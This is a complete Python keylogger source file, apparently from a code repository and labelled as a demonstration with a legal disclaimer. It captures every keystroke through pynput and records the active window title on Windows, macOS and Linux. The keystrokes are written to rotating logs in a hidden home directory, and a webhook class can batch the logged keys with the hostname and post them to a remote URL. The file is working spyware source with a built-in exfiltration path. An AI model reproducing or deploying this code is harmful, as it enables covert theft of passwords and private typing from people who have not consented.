472 lines
13 KiB
Python
472 lines
13 KiB
Python
"""
|
|
CarterPerez-dev | 2025
|
|
|
|
This keylogger demonstrates:
|
|
keyboard event capture, log management, and remote delivery
|
|
|
|
Unauthorized use of keyloggers is illegal.
|
|
Only use on systems you own or have permission to monitor
|
|
"""
|
|
|
|
import sys
|
|
import logging
|
|
import platform
|
|
from enum import (
|
|
Enum,
|
|
auto,
|
|
)
|
|
from threading import (
|
|
Event,
|
|
Lock,
|
|
)
|
|
from pathlib import Path
|
|
from datetime import datetime
|
|
from dataclasses import dataclass
|
|
|
|
|
|
try:
|
|
from pynput import keyboard
|
|
from pynput.keyboard import Key, KeyCode
|
|
except ImportError:
|
|
print("Error: pynput not installed. Run: pip install pynput")
|
|
sys.exit(1)
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
print(
|
|
"Warning: requests not installed. Webhook delivery disabled"
|
|
)
|
|
print("Run: pip install requests")
|
|
requests = None # type: ignore[assignment]
|
|
|
|
if platform.system() == "Windows":
|
|
try:
|
|
import win32gui
|
|
import win32process
|
|
import psutil
|
|
except ImportError:
|
|
win32gui = None
|
|
elif platform.system() == "Darwin":
|
|
try:
|
|
from AppKit import NSWorkspace
|
|
except ImportError:
|
|
NSWorkspace = None
|
|
elif platform.system() == "Linux":
|
|
try:
|
|
import subprocess
|
|
except ImportError:
|
|
subprocess = None # type: ignore[assignment]
|
|
|
|
|
|
class KeyType(Enum):
|
|
"""
|
|
Enumeration of keyboard event types for type safety
|
|
"""
|
|
CHAR = auto()
|
|
SPECIAL = auto()
|
|
UNKNOWN = auto()
|
|
|
|
|
|
@dataclass
|
|
class KeyloggerConfig:
|
|
"""
|
|
Configuration for keylogger behavior
|
|
"""
|
|
log_dir: Path = Path.home() / ".keylogger_logs"
|
|
log_file_prefix: str = "keylog"
|
|
max_log_size_mb: float = 5.0
|
|
webhook_url: str | None = None
|
|
webhook_batch_size: int = 50
|
|
toggle_key: Key = Key.f9
|
|
enable_window_tracking: bool = True
|
|
log_special_keys: bool = True
|
|
|
|
def __post_init__(self):
|
|
self.log_dir.mkdir(parents = True, exist_ok = True)
|
|
|
|
|
|
@dataclass
|
|
class KeyEvent:
|
|
"""
|
|
Represents a single keyboard event
|
|
"""
|
|
timestamp: datetime
|
|
key: str
|
|
window_title: str | None = None
|
|
key_type: KeyType = KeyType.CHAR
|
|
|
|
def to_dict(self) -> dict[str, str]:
|
|
"""
|
|
Convert event to dictionary for JSON serialization
|
|
"""
|
|
return {
|
|
"timestamp": self.timestamp.isoformat(),
|
|
"key": self.key,
|
|
"window_title": self.window_title or "Unknown",
|
|
"key_type": self.key_type.name.lower()
|
|
}
|
|
|
|
def to_log_string(self) -> str:
|
|
"""
|
|
Format event as human readable log string
|
|
"""
|
|
time_str = self.timestamp.strftime("%Y-%m-%d %H:%M:%S")
|
|
window_info = f" [{self.window_title}]" if self.window_title else ""
|
|
return f"[{time_str}]{window_info} {self.key}"
|
|
|
|
|
|
class WindowTracker:
|
|
"""
|
|
Tracks active window titles across different operating systems
|
|
"""
|
|
@staticmethod
|
|
def get_active_window() -> str | None:
|
|
"""
|
|
Get the title of the currently active window
|
|
"""
|
|
system = platform.system()
|
|
|
|
if system == "Windows" and win32gui:
|
|
return WindowTracker._get_windows_window()
|
|
if system == "Darwin" and NSWorkspace:
|
|
return WindowTracker._get_macos_window()
|
|
if system == "Linux":
|
|
return WindowTracker._get_linux_window()
|
|
|
|
return None
|
|
|
|
@staticmethod
|
|
def _get_windows_window() -> str | None:
|
|
try:
|
|
window = win32gui.GetForegroundWindow()
|
|
_, pid = win32process.GetWindowThreadProcessId(window)
|
|
process = psutil.Process(pid)
|
|
window_title = win32gui.GetWindowText(window)
|
|
return f"{process.name()} - {window_title}" if window_title else process.name(
|
|
)
|
|
except Exception:
|
|
return None
|
|
|
|
@staticmethod
|
|
def _get_macos_window() -> str | None:
|
|
try:
|
|
active_app = NSWorkspace.sharedWorkspace(
|
|
).activeApplication()
|
|
return active_app.get('NSApplicationName', 'Unknown')
|
|
except Exception:
|
|
return None
|
|
|
|
@staticmethod
|
|
def _get_linux_window() -> str | None:
|
|
try:
|
|
result = subprocess.run(
|
|
['xdotool',
|
|
'getactivewindow',
|
|
'getwindowname'],
|
|
capture_output = True,
|
|
text = True,
|
|
timeout = 1,
|
|
check = False
|
|
)
|
|
return result.stdout.strip(
|
|
) if result.returncode == 0 else None
|
|
except Exception:
|
|
return None
|
|
|
|
|
|
class LogManager:
|
|
"""
|
|
Manages log file rotation and writing
|
|
"""
|
|
def __init__(self, config: KeyloggerConfig):
|
|
self.config = config
|
|
self.current_log_path = self._get_new_log_path()
|
|
self.lock = Lock()
|
|
self.logger = self._setup_logger()
|
|
|
|
def _setup_logger(self) -> logging.Logger:
|
|
logger = logging.getLogger("keylogger")
|
|
logger.setLevel(logging.INFO)
|
|
|
|
handler = logging.FileHandler(self.current_log_path)
|
|
handler.setFormatter(logging.Formatter('%(message)s'))
|
|
logger.addHandler(handler)
|
|
|
|
return logger
|
|
|
|
def _get_new_log_path(self) -> Path:
|
|
"""
|
|
Generate a new log file path with timestamp
|
|
"""
|
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
return self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt"
|
|
|
|
def write_event(self, event: KeyEvent) -> None:
|
|
"""
|
|
Write a keyboard event to the log file
|
|
"""
|
|
with self.lock:
|
|
self.logger.info(event.to_log_string())
|
|
self._check_rotation()
|
|
|
|
def _check_rotation(self) -> None:
|
|
"""
|
|
Check if log rotation is needed based on file size
|
|
"""
|
|
current_size_mb = self.current_log_path.stat(
|
|
).st_size / (1024 * 1024)
|
|
|
|
if current_size_mb >= self.config.max_log_size_mb:
|
|
self.logger.handlers[0].close()
|
|
self.logger.removeHandler(self.logger.handlers[0])
|
|
|
|
self.current_log_path = self._get_new_log_path()
|
|
handler = logging.FileHandler(self.current_log_path)
|
|
handler.setFormatter(logging.Formatter('%(message)s'))
|
|
self.logger.addHandler(handler)
|
|
|
|
def get_current_log_content(self) -> str:
|
|
"""
|
|
Read and return the current log file content
|
|
"""
|
|
with self.lock:
|
|
return self.current_log_path.read_text(encoding = 'utf-8')
|
|
|
|
|
|
class WebhookDelivery:
|
|
"""
|
|
Handles batched delivery of logs to remote webhook
|
|
"""
|
|
def __init__(self, config: KeyloggerConfig):
|
|
self.config = config
|
|
self.event_buffer: list[KeyEvent] = []
|
|
self.buffer_lock = Lock()
|
|
self.enabled = bool(config.webhook_url and requests)
|
|
|
|
def add_event(self, event: KeyEvent) -> None:
|
|
"""
|
|
Add event to buffer and deliver if batch size reached
|
|
"""
|
|
if not self.enabled:
|
|
return
|
|
|
|
with self.buffer_lock:
|
|
self.event_buffer.append(event)
|
|
|
|
if len(self.event_buffer
|
|
) >= self.config.webhook_batch_size:
|
|
self._deliver_batch()
|
|
|
|
def _deliver_batch(self) -> None:
|
|
"""
|
|
Deliver buffered events to webhook endpoint
|
|
"""
|
|
if not self.event_buffer or not self.config.webhook_url:
|
|
return
|
|
|
|
payload = {
|
|
"timestamp": datetime.now().isoformat(),
|
|
"host": platform.node(),
|
|
"events":
|
|
[event.to_dict() for event in self.event_buffer]
|
|
}
|
|
|
|
try:
|
|
response = requests.post(
|
|
self.config.webhook_url,
|
|
json = payload,
|
|
timeout = 5
|
|
)
|
|
|
|
if response.status_code == 200:
|
|
self.event_buffer.clear()
|
|
except Exception as e:
|
|
logging.error("Webhook delivery failed: %s", e)
|
|
|
|
def flush(self) -> None:
|
|
"""
|
|
Force delivery of remaining buffered events
|
|
"""
|
|
with self.buffer_lock:
|
|
self._deliver_batch()
|
|
|
|
|
|
class Keylogger:
|
|
"""
|
|
Main keylogger class
|
|
"""
|
|
def __init__(self, config: KeyloggerConfig):
|
|
self.config = config
|
|
self.log_manager = LogManager(config)
|
|
self.webhook = WebhookDelivery(config)
|
|
self.window_tracker = WindowTracker()
|
|
|
|
self.is_running = Event()
|
|
self.is_logging = Event()
|
|
self.listener: keyboard.Listener | None = None
|
|
|
|
self._current_window: str | None = None
|
|
self._last_window_check = datetime.now()
|
|
|
|
def _update_active_window(self) -> None:
|
|
"""
|
|
Update cached window title periodically
|
|
"""
|
|
if not self.config.enable_window_tracking:
|
|
return
|
|
|
|
now = datetime.now()
|
|
if (now - self._last_window_check).total_seconds() >= 0.5:
|
|
self._current_window = self.window_tracker.get_active_window(
|
|
)
|
|
self._last_window_check = now
|
|
|
|
def _process_key(self, key: Key | KeyCode) -> tuple[str, KeyType]:
|
|
"""
|
|
Convert key to string representation and type
|
|
"""
|
|
special_keys = {
|
|
Key.space: "[SPACE]",
|
|
Key.enter: "[ENTER]",
|
|
Key.tab: "[TAB]",
|
|
Key.backspace: "[BACKSPACE]",
|
|
Key.delete: "[DELETE]",
|
|
Key.shift: "[SHIFT]",
|
|
Key.shift_r: "[SHIFT]",
|
|
Key.ctrl: "[CTRL]",
|
|
Key.ctrl_r: "[CTRL]",
|
|
Key.alt: "[ALT]",
|
|
Key.alt_r: "[ALT]",
|
|
Key.cmd: "[CMD]",
|
|
Key.cmd_r: "[CMD]",
|
|
Key.esc: "[ESC]",
|
|
Key.up: "[UP]",
|
|
Key.down: "[DOWN]",
|
|
Key.left: "[LEFT]",
|
|
Key.right: "[RIGHT]",
|
|
}
|
|
|
|
if isinstance(key, Key):
|
|
if key in special_keys:
|
|
return special_keys[key], KeyType.SPECIAL
|
|
return f"[{key.name.upper()}]", KeyType.SPECIAL
|
|
|
|
if hasattr(key, 'char') and key.char:
|
|
return key.char, KeyType.CHAR
|
|
|
|
return "[UNKNOWN]", KeyType.UNKNOWN
|
|
|
|
def _on_press(self, key: Key | KeyCode) -> None:
|
|
"""
|
|
Callback for key press events
|
|
"""
|
|
if key == self.config.toggle_key:
|
|
self._toggle_logging()
|
|
return
|
|
|
|
if not self.is_logging.is_set():
|
|
return
|
|
|
|
self._update_active_window()
|
|
|
|
key_str, key_type = self._process_key(key)
|
|
|
|
if key_type == KeyType.SPECIAL and not self.config.log_special_keys:
|
|
return
|
|
|
|
event = KeyEvent(
|
|
timestamp = datetime.now(),
|
|
key = key_str,
|
|
window_title = self._current_window,
|
|
key_type = key_type
|
|
)
|
|
|
|
self.log_manager.write_event(event)
|
|
self.webhook.add_event(event)
|
|
|
|
def _toggle_logging(self) -> None:
|
|
"""
|
|
Toggle logging on/off with F9 key
|
|
"""
|
|
if self.is_logging.is_set():
|
|
self.is_logging.clear()
|
|
print("\n[*] Logging paused. Press F9 to resume.")
|
|
else:
|
|
self.is_logging.set()
|
|
print("\n[*] Logging resumed. Press F9 to pause.")
|
|
|
|
def start(self) -> None:
|
|
"""
|
|
Start the keylogger
|
|
"""
|
|
print("Keylogger Started")
|
|
print()
|
|
print(f"Log Directory: {self.config.log_dir}")
|
|
print(
|
|
f"Current Log: {self.log_manager.current_log_path.name}"
|
|
)
|
|
print(f"Toggle Key: {self.config.toggle_key.name.upper()}")
|
|
print(
|
|
f"Webhook: {'Enabled' if self.webhook.enabled else 'Disabled'}"
|
|
)
|
|
print()
|
|
print("[*] Press F9 to start/stop logging")
|
|
print("[*] Press CTRL+C to exit\n")
|
|
|
|
self.is_running.set()
|
|
self.is_logging.set()
|
|
|
|
self.listener = keyboard.Listener(on_press = self._on_press)
|
|
self.listener.start()
|
|
|
|
try:
|
|
while self.is_running.is_set():
|
|
self.listener.join(timeout = 1.0)
|
|
except KeyboardInterrupt:
|
|
self.stop()
|
|
|
|
def stop(self) -> None:
|
|
"""
|
|
Stop the keylogger gracefully
|
|
"""
|
|
print("\n\n[*] Shutting down...")
|
|
|
|
self.is_running.clear()
|
|
self.is_logging.clear()
|
|
|
|
if self.listener:
|
|
self.listener.stop()
|
|
|
|
self.webhook.flush()
|
|
|
|
print(f"[*] Logs saved to: {self.config.log_dir}")
|
|
print("[*] Keylogger stopped.")
|
|
|
|
|
|
def main() -> None:
|
|
"""
|
|
Entry point with example configuration
|
|
"""
|
|
config = KeyloggerConfig(
|
|
log_dir = Path.home() / ".keylogger_logs",
|
|
max_log_size_mb = 5.0,
|
|
webhook_url = None,
|
|
webhook_batch_size = 50,
|
|
toggle_key = Key.f9,
|
|
enable_window_tracking = True,
|
|
log_special_keys = True
|
|
)
|
|
|
|
keylogger = Keylogger(config)
|
|
|
|
try:
|
|
keylogger.start()
|
|
except Exception as e:
|
|
print(f"\n[!] Error: {e}")
|
|
keylogger.stop()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|